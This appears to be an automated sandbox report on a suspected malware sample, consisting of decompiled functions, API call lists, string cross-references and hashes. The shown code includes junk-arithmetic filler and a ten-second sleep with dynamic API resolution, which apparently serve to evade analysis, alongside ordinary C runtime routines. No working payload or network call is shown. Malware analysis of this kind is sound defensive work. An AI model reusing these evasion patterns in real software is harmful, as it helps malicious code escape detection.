Instruction Fuzzy Hash: 44415130D09288DAEF11CBA8C9587EEBFB1AF15304F1441EAD441772C1C7BD1A84D7AA

Function 00404D20, Relevance: 22.8, APIs: 2, Strings: 11, Instructions: 73sleeplibraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetProcAddress.KERNEL32(00000000,00000000,00000015), ref: 00404DEE
Sleep.KERNEL32(00002710), ref: 00404DFD

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

A, xrefs: 00404D3B
), xrefs: 00404D57
1, xrefs: 00404D2F
`, xrefs: 00404D4F
3oXvu, xrefs: 00404DCD
], xrefs: 00404D63
3, xrefs: 00404D77
6, xrefs: 00404D37
1, xrefs: 00404D6B
f, xrefs: 00404D27
9, xrefs: 00404D43

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeProcSleep
String ID: )$1$1$3$3oXvu$6$9$A$]$`$f
API String ID: 3763658478-467390552
Opcode ID: bd231fe81ce6798530274a28e0ac8a2c397b49e96f4391a5434ac4da41de8282
Instruction ID: 8eb28966fb8947a5fc65424743b770427aaac0ba9812e5d3f5619345aa4437b6
Opcode Fuzzy Hash: bd231fe81ce6798530274a28e0ac8a2c397b49e96f4391a5434ac4da41de8282
Instruction Fuzzy Hash: 993101209082CDD9EB02D7A9C5597EEBFB45F16308F04409AD4817B2C2D7FA0B49D7A6

Function 00425A70, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 93

C-Code - Quality: 93%

			E00425A70(char _a8) {
				signed int _v8;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				struct _OSVERSIONINFOA _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				signed int _v212;
				intOrPtr _v216;
				intOrPtr* _v220;
				signed int _v224;
				char* _v228;
				intOrPtr _v232;

				_v212 = 0x63d6;
				_a8 = 0x4058;
				_v16 =  &_a8;
				_v204 = _v212 +  *_v16;
				GetEnvironmentStrings();
				_v40 = 0xf1d16593;
				_v8 = 0x5e;
				_v220 =  &_v8;
				_v24 = _v40 -  *_v220;
				GetEnvironmentStrings();
				GetVersionExA( &_v196);
				if(_v24 != 0x7ea8) {
					_v28 = 0x59;
					_v228 =  &_v24;
					asm("cdq");
					_v8 = _v28 / (_v24 + 1) * _v8;
				} else {
					_v36 = 0x5ee9;
					_v224 = 0x2586;
					_v212 = _v36 * _v224 * _v212;
				}
				_v232 = 0;
				while(_v232 < 5) {
					GetCommandLineA();
					_v232 = _v232 + 1;
				}
				_v200 = 8;
				_v216 = 0x15e;
				if(_v200 != _v216) {
					_v32 = 0xd0;
					_v28 = 0x94;
					_v36 = _v32 + _v28;
					_v20 = 0xad76;
					_v204 = _v204 - (_v20 | _v8) * _v28;
				}
				GetTickCount();
				_v20 = 0x423a;
				_t54 =  &_v20; // 0x423a
				_v204 = _v204 - ( *_t54 & 0xf742d6f9) + _v216;
				_v208 = _v216 + _v204;
				_v32 = 0x93;
				_t62 =  &_v20; // 0x423a
				asm("cdq");
				_v200 = _v200 - _v32 / ( *_t62 + 1);
				return GetEnvironmentStrings();
			}

0x00425a79
0x00425a83
0x00425a8d
0x00425a9b
0x00425aa1
0x00425aa7
0x00425aae
0x00425ab8
0x00425ac9
0x00425acc
0x00425ad9
0x00425ae6
0x00425b12
0x00425b1c
0x00425b2b
0x00425b32
0x00425ae8
0x00425ae8
0x00425aef
0x00425b0a
0x00425b0a
0x00425b35
0x00425b50
0x00425b59
0x00425b4a
0x00425b4a
0x00425b61
0x00425b6b
0x00425b81
0x00425b83
0x00425b8a
0x00425b97
0x00425b9a
0x00425bb3
0x00425bb3
0x00425bb9
0x00425bbf
0x00425bc6
0x00425bdd
0x00425bef
0x00425bf5
0x00425bfc
0x00425c05
0x00425c10
0x00425c1f

APIs

GetEnvironmentStrings.KERNEL32 ref: 00425AA1
GetEnvironmentStrings.KERNEL32 ref: 00425ACC
GetVersionExA.KERNEL32(?), ref: 00425AD9
GetCommandLineA.KERNEL32 ref: 00425B59
GetTickCount.KERNEL32 ref: 00425BB9
GetEnvironmentStrings.KERNEL32 ref: 00425C16

Strings

Y, xrefs: 00425B12
^, xrefs: 00425AAE
^, xrefs: 00425AE8
:BX@, xrefs: 00425BC6
X@, xrefs: 00425A83

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnvironmentStrings$CommandCountLineTickVersion
String ID: :BX@$X@$Y$^$^
API String ID: 2466418096-3686562090
Opcode ID: fc2d104e6701e3a750e429ce1b406a4215d3a152c5bcf7228d8cb38c97eebb63
Instruction ID: e1b634b14ee494d70c0114625955cd9f3d0e5ad6706cca5558016281d5bf9bea
Opcode Fuzzy Hash: fc2d104e6701e3a750e429ce1b406a4215d3a152c5bcf7228d8cb38c97eebb63
Instruction Fuzzy Hash: 0C51B0B0D01629CFEB18CF94DA99BADBBB1FB48304F10819AD50977344D7786A85CF54

Function 00426F70, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 183
thread

C-Code - Quality: 94%

			E00426F70(intOrPtr _a4, signed int _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				signed int* _v48;
				intOrPtr* _v52;
				signed int* _v56;
				signed int _v60;
				char _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr* _v84;
				intOrPtr _v88;
				signed int _v100;
				signed int* _v104;
				intOrPtr _v108;
				signed int* _v116;
				intOrPtr _v120;
				intOrPtr _v136;
				struct _OSVERSIONINFOA _v292;
				signed int* _v296;
				void* _t156;

				_v36 = 0x54;
				_v8 = 0xcbaa;
				_v8 = ((_v36 & _v8) + (_v36 | 0x0000df56)) * _v8;
				_v60 = 0xe6b6;
				_v12 = 0x8254;
				_v52 =  &_v60;
				_v32 =  *_v52 - _v12;
				_v44 = 0xf;
				_v36 = _v44 + _v8 + _v36;
				_v72 = 0xce9b;
				_v20 =  &_v12;
				_v48 =  &_v72;
				_v72 = _v72 -  *_v20 - ( *_v48 & 0x0000c922);
				_v40 = 0xda;
				if(_v40 >= 0xa7) {
					_v16 = 0x52e5;
					_v84 =  &_v16;
					_v64 =  *_v84 - _v12;
					_v76 = 0x56;
					_v28 = _v76 * _v16;
					_v88 = 0;
					while(_v88 < 4) {
						GetCommandLineA();
						_v88 = _v88 + 1;
					}
				}
				GetEnvironmentStrings();
				if(_v12 < 0xfe) {
					_v104 =  &_v44;
					asm("cdq");
					_v72 =  *_v104 / (_v8 + 1) * _v72;
					_v108 = 0;
					while(_v108 < 4) {
						GetTickCount();
						_v16 = 0xf44cc328;
						_v64 = 0x14;
						asm("cdq");
						_v100 = _v16 / (_v64 + 1);
						_a8 = 0x119e;
						_v116 =  &_v64;
						_v100 = _v100 -  *_v116 * _a8;
						_v108 = _v108 + 1;
					}
				} else {
					_v68 = 0xd1;
					_v16 = 0x2a9f;
					_v24 = _v68 + _v16;
				}
				_v28 = 0x4e;
				_v36 = (_v32 - (_v8 | _v28)) * _v36;
				if(_v60 == 0x1982) {
					GetCurrentThread();
					_v120 = 0xf2e90fa9;
					_v44 = _v44 - _v120 - _v8;
				}
				_a8 = 0xf5d127de;
				asm("cdq");
				_v8 = _v8 - _a8 / (_v60 + 1);
				_v56 =  &_v72;
				_v24 =  *_v56 * _v28;
				if(_v40 >= 0x94) {
					_v136 = 0;
					while(_v136 < 1) {
						_v68 = 0xf409508b;
						_v296 =  &_v44;
						_v60 = ( *_v296 | 0x000079d6) * (_v68 | _v28) * _v60;
						GetVersionExA( &_v292);
						GetCurrentThread();
						_v136 = _v136 + 1;
					}
					_v64 = 0xf9ecfb68;
					_v24 = _v24 - _v64 + _v8;
					_v16 = 0xe637;
					_v32 = (_v72 + _v16) * _v32;
				}
				_a4 = 0xfc06f811;
				_t156 = _a8 - _a4;
				_v28 = _v28 - _t156;
				return _t156;
			}

0x00426f79
0x00426f80
0x00426f9c
0x00426f9f
0x00426fa6
0x00426fb0
0x00426fbb
0x00426fbe
0x00426fce
0x00426fd1
0x00426fdb
0x00426fe1
0x00426ffa
0x00426ffd
0x0042700b
0x0042700d
0x00427017
0x00427022
0x00427025
0x00427033
0x00427036
0x00427048
0x0042704e
0x00427045
0x00427045
0x00427048
0x00427056
0x00427063
0x00427081
0x0042708f
0x00427096
0x00427099
0x004270ab
0x004270b1
0x004270b7
0x004270be
0x004270ce
0x004270d1
0x004270d4
0x004270de
0x004270ef
0x004270a8
0x004270a8
0x00427065
0x00427065
0x0042706c
0x00427079
0x00427079
0x004270f4
0x0042710a
0x00427114
0x00427116
0x0042711c
0x0042712e
0x0042712e
0x00427131
0x00427141
0x00427149
0x0042714f
0x0042715b
0x00427165
0x0042716b
0x00427186
0x0042718f
0x00427199
0x004271b9
0x004271c3
0x004271c9
0x00427180
0x00427180
0x004271d1
0x004271e3
0x004271e6
0x004271f7
0x004271f7
0x004271fa
0x00427204
0x0042720c
0x00427212

APIs

GetCommandLineA.KERNEL32 ref: 0042704E
GetEnvironmentStrings.KERNEL32 ref: 00427056
GetTickCount.KERNEL32 ref: 004270B1
GetCurrentThread.KERNEL32 ref: 00427116
GetVersionExA.KERNEL32(?), ref: 004271C3
GetCurrentThread.KERNEL32 ref: 004271C9

Strings

T, xrefs: 00426F79
7, xrefs: 004271E6
N, xrefs: 004270F4
V, xrefs: 00427025

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CurrentThread$CommandCountEnvironmentLineStringsTickVersion
String ID: 7$N$T$V
API String ID: 1284538652-4177156828
Opcode ID: a98c9100c551db59a35caee663c2a9740c60f09b48ba26cb21ead7d72815aa26
Instruction ID: fb0c320e00b0f36df7812c92bd0bda542d112503c7c836590f8e20893cf416c8
Opcode Fuzzy Hash: a98c9100c551db59a35caee663c2a9740c60f09b48ba26cb21ead7d72815aa26
Instruction Fuzzy Hash: 4F91AD74E00219DFDB08CF98DA89AEDBBB1FF48304F20815AD905AB354D778AA45CF44

Function 00428265, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156
file

C-Code - Quality: 65%

			E00428265(intOrPtr _a4) {
				long _v4;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* _t9;
				int _t11;
				void* _t14;
				void* _t16;
				void* _t18;
				void* _t19;
				void* _t24;
				void* _t26;
				intOrPtr _t30;
				void* _t34;
				void* _t37;
				signed int _t38;
				void** _t40;
				void* _t42;
				void* _t45;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t51;

				_t30 = _a4;
				_t38 = 0;
				while(_t30 !=  *((intOrPtr*)(0x43e3b0 + _t38 * 8))) {
					_t38 = _t38 + 1;
					if(_t38 < 0x17) {
						continue;
					}
					break;
				}
				if(_t38 >= 0x17) {
					return _t9;
				}
				if(E0042AAF0(_t30, _t37, _t38, 3) == 1) {
					L22:
					_t11 = GetStdHandle(0xfffffff4);
					_t45 = _t11;
					__eflags = _t45;
					if(_t45 != 0) {
						__eflags = _t45 - 0xffffffff;
						if(_t45 != 0xffffffff) {
							_t40 = 0x43e3b4 + _t38 * 8;
							_t11 = WriteFile(_t45,  *_t40, E0042AA00( *_t40),  &_v4, 0);
						}
					}
					L25:
					return _t11;
				}
				_t11 = E0042AAF0(_t30, _t37, _t38, 3);
				_pop(_t34);
				if(_t11 != 0 ||  *0x43e3a8 != 1) {
					if(_t30 == 0xfc) {
						goto L25;
					} else {
						_t14 = E0042AA8B(_t37, 0x43f098, 0x314, "Runtime Error!\n\nProgram: ");
						_t49 = _t48 + 0xc;
						_t61 = _t14;
						if(_t14 != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(0x314, _t34, _t37, _t38, _t61);
							_t49 = _t49 + 0x14;
						}
						 *0x43f1b5 = 0;
						if(GetModuleFileNameA(0, 0x43f0b1, 0x104) == 0) {
							_t26 = E0042AA8B(_t37, 0x43f0b1, 0x2fb, "<program name unknown>");
							_t49 = _t49 + 0xc;
							if(_t26 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E00429943(0x314, _t34, _t37, _t38, 0);
								_t49 = _t49 + 0x14;
							}
						}
						_t16 = E0042AA00(0x43f0b1);
						_pop(_t35);
						if(_t16 + 1 <= 0x3c) {
							L16:
							_t42 = 0;
							__eflags = 0;
							goto L17;
						} else {
							_t23 = E0042AA00(0x43f0b1) + 0x43f076;
							_t35 = 0x43f3ac - E0042AA00(0x43f0b1) + 0x43f076;
							_t24 = E0042A949(_t37, _t23, 0x43f3ac - E0042AA00(0x43f0b1) + 0x43f076, "...", 3);
							_t49 = _t49 + 0x14;
							_t66 = _t24;
							if(_t24 == 0) {
								goto L16;
							}
							_t42 = 0;
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(0x314, _t35, _t37, _t38, _t66);
							_t49 = _t49 + 0x14;
							L17:
							_t18 = E0042A8D8(_t37, 0x43f098, 0x314, "\n\n");
							_t50 = _t49 + 0xc;
							_t67 = _t18;
							if(_t18 != 0) {
								_push(_t42);
								_push(_t42);
								_push(_t42);
								_push(_t42);
								_push(_t42);
								E00429943(0x314, _t35, _t37, _t38, _t67);
								_t50 = _t50 + 0x14;
							}
							_t19 = E0042A8D8(_t37, 0x43f098, 0x314,  *(0x43e3b4 + _t38 * 8));
							_t51 = _t50 + 0xc;
							_t68 = _t19;
							if(_t19 != 0) {
								_push(_t42);
								_push(_t42);
								_push(_t42);
								_push(_t42);
								_push(_t42);
								E00429943(0x314, _t35, _t37, _t38, _t68);
								_t51 = _t51 + 0x14;
							}
							_t11 = E0042A73A(_t37, 0x43f098, "Microsoft Visual C++ Runtime Library", 0x12010);
							goto L25;
						}
					}
				} else {
					goto L22;
				}
			}

0x00428267
0x0042826f
0x00428271
0x0042827a
0x0042827e
0x00000000
0x00000000
0x00000000
0x0042827e
0x00428283
0x00428404
0x00428404
0x00428295
0x004283cc
0x004283ce
0x004283d4
0x004283d6
0x004283d8
0x004283da
0x004283dd
0x004283e6
0x004283f9
0x004283f9
0x004283dd
0x004283ff
0x00000000
0x004283ff
0x0042829d
0x004282a4
0x004282a5
0x004282ba
0x00000000
0x004282c0
0x004282d1
0x004282d6
0x004282d9
0x004282db
0x004282dd
0x004282de
0x004282df
0x004282e0
0x004282e1
0x004282e2
0x004282e7
0x004282e7
0x004282f7
0x00428306
0x00428313
0x00428318
0x0042831d
0x00428321
0x00428322
0x00428323
0x00428324
0x00428325
0x00428326
0x0042832b
0x0042832b
0x0042831d
0x0042832f
0x00428338
0x00428339
0x00428373
0x00428373
0x00428373
0x00000000
0x0042833b
0x00428344
0x00428352
0x00428356
0x0042835b
0x0042835e
0x00428360
0x00000000
0x00000000
0x00428362
0x00428364
0x00428365
0x00428366
0x00428367
0x00428368
0x00428369
0x0042836e
0x00428375
0x0042837c
0x00428381
0x00428384
0x00428386
0x00428388
0x00428389
0x0042838a
0x0042838b
0x0042838c
0x0042838d
0x00428392
0x00428392
0x0042839e
0x004283a3
0x004283a6
0x004283a8
0x004283aa
0x004283ab
0x004283ac
0x004283ad
0x004283ae
0x004283af
0x004283b4
0x004283b4
0x004283c2
0x00000000
0x004283c7
0x00428339
0x00000000
0x00000000
0x00000000

APIs

GetModuleFileNameA.KERNEL32(00000000,0043F0B1,00000104), ref: 004282FE
_strlen.LIBCMT ref: 0042832F
_strlen.LIBCMT ref: 0042833C

Part of subcall function 0042A73A: LoadLibraryA.KERNEL32(USER32.DLL), ref: 0042A767
Part of subcall function 0042A73A: GetProcAddress.KERNEL32(00000000,MessageBoxA,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 0042A786
Part of subcall function 0042A73A: GetProcAddress.KERNEL32(00000000,00000000,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 0042A79F
Part of subcall function 0042A73A: GetProcAddress.KERNEL32(00000000,00000000,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 0042A7B4
Part of subcall function 0042A73A: GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA,?,?,?,0043F098,004283C7,0043F098), ref: 0042A7E9
Part of subcall function 0042A73A: GetProcAddress.KERNEL32(00000000,GetProcessWindowStation,?,?,?,0043F098,004283C7,0043F098), ref: 0042A801

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

GetStdHandle.KERNEL32(000000F4,?,?,00000000,0003B62C,00000003,00428451,000000FC,0042EF39,00000001,00000000,00000000,?,0042B5CA,?,00000001), ref: 004283CE
_strlen.LIBCMT ref: 004283EF
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004283F9

Strings

Microsoft Visual C++ Runtime Library, xrefs: 004283BC
Runtime Error!Program: , xrefs: 004282C0
..., xrefs: 0042834D
<program name unknown>, xrefs: 00428308

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressProc$_strlen$ExceptionFileFilterProcessUnhandled$CurrentDebuggerHandleLibraryLoadModuleNamePresentTerminateWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 4184918118-4022980321
Opcode ID: 1f4f73543f86cf831562719e5bf0593ea47bed6a56e86595921f9286eb86e337
Instruction ID: 8f587b1b61dca7615734e64de1d9d42ca56ad21c38f437bf87e776e4f535f6ca
Opcode Fuzzy Hash: 1f4f73543f86cf831562719e5bf0593ea47bed6a56e86595921f9286eb86e337
Instruction Fuzzy Hash: A331E2B2B022316BE61572327D47B6F32589B15B24F94102FFD0591293EE8E8D5181BE

Function 0042A73A, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 152
libraryloader

C-Code - Quality: 65%

			E0042A73A(void* __edx, intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				signed int _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				signed int _v28;
				char _v36;
				void* __ebx;
				void* __edi;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t32;
				intOrPtr _t33;
				signed int _t37;
				signed int _t42;
				_Unknown_base(*)()* _t44;
				intOrPtr _t46;
				intOrPtr _t48;
				signed int _t54;
				void* _t63;
				void* _t68;
				void* _t71;
				struct HINSTANCE__* _t72;
				intOrPtr _t73;
				intOrPtr* _t75;
				intOrPtr _t77;

				_t71 = __edx;
				_t26 = E00428E1A();
				_t77 =  *0x43f654; // 0x0
				_v20 = _t26;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				if(_t77 != 0) {
					L9:
					_t27 =  *0x43f660; // 0x0
					_t73 = _v20;
					__eflags = _t27 - _t73;
					if(_t27 == _t73) {
						L19:
						_t28 =  *0x43f658; // 0x0
						__eflags = _t28 - _t73;
						if(_t28 != _t73) {
							_t32 =  *((intOrPtr*)(E00428E23(_t28)))();
							__eflags = _t32;
							_v8 = _t32;
							if(_t32 != 0) {
								_t33 =  *0x43f65c; // 0x0
								__eflags = _t33 - _t73;
								if(_t33 != _t73) {
									_push(_v8);
									_v8 =  *((intOrPtr*)(E00428E23(_t33)))();
								}
							}
						}
						L23:
						_push(_a12);
						_push(_a8);
						_push(_a4);
						_push(_v8);
						return  *((intOrPtr*)(E00428E23( *0x43f654)))();
					}
					__eflags =  *0x43f664 - _t73; // 0x0
					if(__eflags == 0) {
						goto L19;
					}
					_t37 =  *((intOrPtr*)(E00428E23(_t27)))();
					__eflags = _t37;
					if(_t37 == 0) {
						L14:
						__eflags = E00427F71(0, _t71, _t72,  &_v16);
						_pop(_t63);
						if(__eflags != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(0, _t63, _t71, _t72, __eflags);
						}
						__eflags = _v16 - 4;
						if(_v16 < 4) {
							_a12 = _a12 | 0x00040000;
						} else {
							_a12 = _a12 | 0x00200000;
						}
						goto L23;
					}
					_push( &_v24);
					_push(0xc);
					_push( &_v36);
					_push(1);
					_push(_t37);
					_t42 =  *((intOrPtr*)(E00428E23( *0x43f664)))();
					__eflags = _t42;
					if(_t42 == 0) {
						goto L14;
					}
					__eflags = _v28 & 0x00000001;
					if((_v28 & 0x00000001) != 0) {
						goto L19;
					}
					goto L14;
				}
				_t72 = LoadLibraryA("USER32.DLL");
				if(_t72 != 0) {
					_t44 = GetProcAddress(_t72, "MessageBoxA");
					__eflags = _t44;
					if(_t44 == 0) {
						goto L2;
					} else {
						_t46 = E00428DB7(_t44);
						 *_t75 = "GetActiveWindow";
						 *0x43f654 = _t46;
						_t48 = E00428DB7(GetProcAddress(??, ??));
						 *_t75 = "GetLastActivePopup";
						 *0x43f658 = _t48;
						 *0x43f65c = E00428DB7(GetProcAddress(_t72, _t72));
						__eflags = E00427EC2(0, _t71, _t72,  &_v12);
						_pop(_t68);
						if(__eflags != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(0, _t68, _t71, _t72, __eflags);
							_t75 = _t75 + 0x14;
						}
						__eflags = _v12 - 2;
						if(_v12 == 2) {
							_t54 = E00428DB7(GetProcAddress(_t72, "GetUserObjectInformationA"));
							__eflags = _t54;
							 *0x43f664 = _t54;
							if(_t54 != 0) {
								 *0x43f660 = E00428DB7(GetProcAddress(_t72, "GetProcessWindowStation"));
							}
						}
						goto L9;
					}
				}
				L2:
				return 0;
			}

0x0042a73a
0x0042a743
0x0042a74a
0x0042a750
0x0042a753
0x0042a756
0x0042a759
0x0042a75c
0x0042a80f
0x0042a80f
0x0042a814
0x0042a817
0x0042a819
0x0042a888
0x0042a888
0x0042a88d
0x0042a88f
0x0042a898
0x0042a89a
0x0042a89c
0x0042a89f
0x0042a8a1
0x0042a8a6
0x0042a8a8
0x0042a8aa
0x0042a8b6
0x0042a8b6
0x0042a8a8
0x0042a89f
0x0042a8b9
0x0042a8b9
0x0042a8bc
0x0042a8bf
0x0042a8c2
0x00000000
0x0042a8d1
0x0042a81b
0x0042a821
0x00000000
0x00000000
0x0042a82a
0x0042a82c
0x0042a82e
0x0042a855
0x0042a85e
0x0042a860
0x0042a861
0x0042a863
0x0042a864
0x0042a865
0x0042a866
0x0042a867
0x0042a868
0x0042a86d
0x0042a870
0x0042a874
0x0042a87f
0x0042a876
0x0042a876
0x0042a876
0x00000000
0x0042a874
0x0042a833
0x0042a834
0x0042a839
0x0042a83a
0x0042a83c
0x0042a849
0x0042a84b
0x0042a84d
0x00000000
0x00000000
0x0042a84f
0x0042a853
0x00000000
0x00000000
0x00000000
0x0042a853
0x0042a76d
0x0042a771
0x0042a786
0x0042a788
0x0042a78a
0x00000000
0x0042a78c
0x0042a78d
0x0042a792
0x0042a79a
0x0042a7a2
0x0042a7a7
0x0042a7af
0x0042a7bc
0x0042a7ca
0x0042a7cd
0x0042a7ce
0x0042a7d0
0x0042a7d1
0x0042a7d2
0x0042a7d3
0x0042a7d4
0x0042a7d5
0x0042a7da
0x0042a7da
0x0042a7dd
0x0042a7e1
0x0042a7ec
0x0042a7f1
0x0042a7f4
0x0042a7f9
0x0042a80a
0x0042a80a
0x0042a7f9
0x00000000
0x0042a7e1
0x0042a78a
0x0042a773
0x00000000

APIs

LoadLibraryA.KERNEL32(USER32.DLL), ref: 0042A767
GetProcAddress.KERNEL32(00000000,MessageBoxA,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 0042A786

Part of subcall function 00428DB7: TlsGetValue.KERNEL32 ref: 00428DC4
Part of subcall function 00428DB7: TlsGetValue.KERNEL32 ref: 00428DDB
Part of subcall function 00428DB7: GetModuleHandleA.KERNELBASE(KERNEL32.DLL,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428DF0
Part of subcall function 00428DB7: GetProcAddress.KERNELBASE(00000000,EncodePointer,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428E00
Part of subcall function 00428DB7: RtlEncodePointer.NTDLL(?,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428E0E

GetProcAddress.KERNEL32(00000000,00000000,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 0042A79F
GetProcAddress.KERNEL32(00000000,00000000,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 0042A7B4
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA,?,?,?,0043F098,004283C7,0043F098), ref: 0042A7E9
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation,?,?,?,0043F098,004283C7,0043F098), ref: 0042A801

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

Part of subcall function 00428E23: TlsGetValue.KERNEL32 ref: 00428E30
Part of subcall function 00428E23: TlsGetValue.KERNEL32 ref: 00428E47
Part of subcall function 00428E23: GetModuleHandleA.KERNELBASE(KERNEL32.DLL,?,00428EC5,?,?,0042849C), ref: 00428E5C
Part of subcall function 00428E23: GetProcAddress.KERNELBASE(00000000,DecodePointer,?,00428EC5,?,?,0042849C), ref: 00428E6C
Part of subcall function 00428E23: RtlDecodePointer.NTDLL(?,?,00428EC5,?,?,0042849C), ref: 00428E7A

Strings

GetUserObjectInformationA, xrefs: 0042A7E3
MessageBoxA, xrefs: 0042A780
GetProcessWindowStation, xrefs: 0042A7FB
USER32.DLL, xrefs: 0042A762

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModulePointerProcessUnhandled$CurrentDebuggerDecodeEncodeLibraryLoadPresentTerminate
String ID: GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2799798708-1046234306
Opcode ID: e7e0c2b7c2c1314d0b3951eadbf85ead72a3f3906663f9b4a3801670108abcff
Instruction ID: 449f65983dffa15d3300ae2483db6677d9f534a2cc8d5c745118d6882eb51445
Opcode Fuzzy Hash: e7e0c2b7c2c1314d0b3951eadbf85ead72a3f3906663f9b4a3801670108abcff
Instruction Fuzzy Hash: AC418671E01224ABDB10BFB2BC46A5F7BB8AB14314F90147FE801E2261DF7CD9558A5E

Function 0042E870, Relevance: 16.8, APIs: 11, Instructions: 339

C-Code - Quality: 86%

			E0042E870(short* __ecx, int _a4, int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
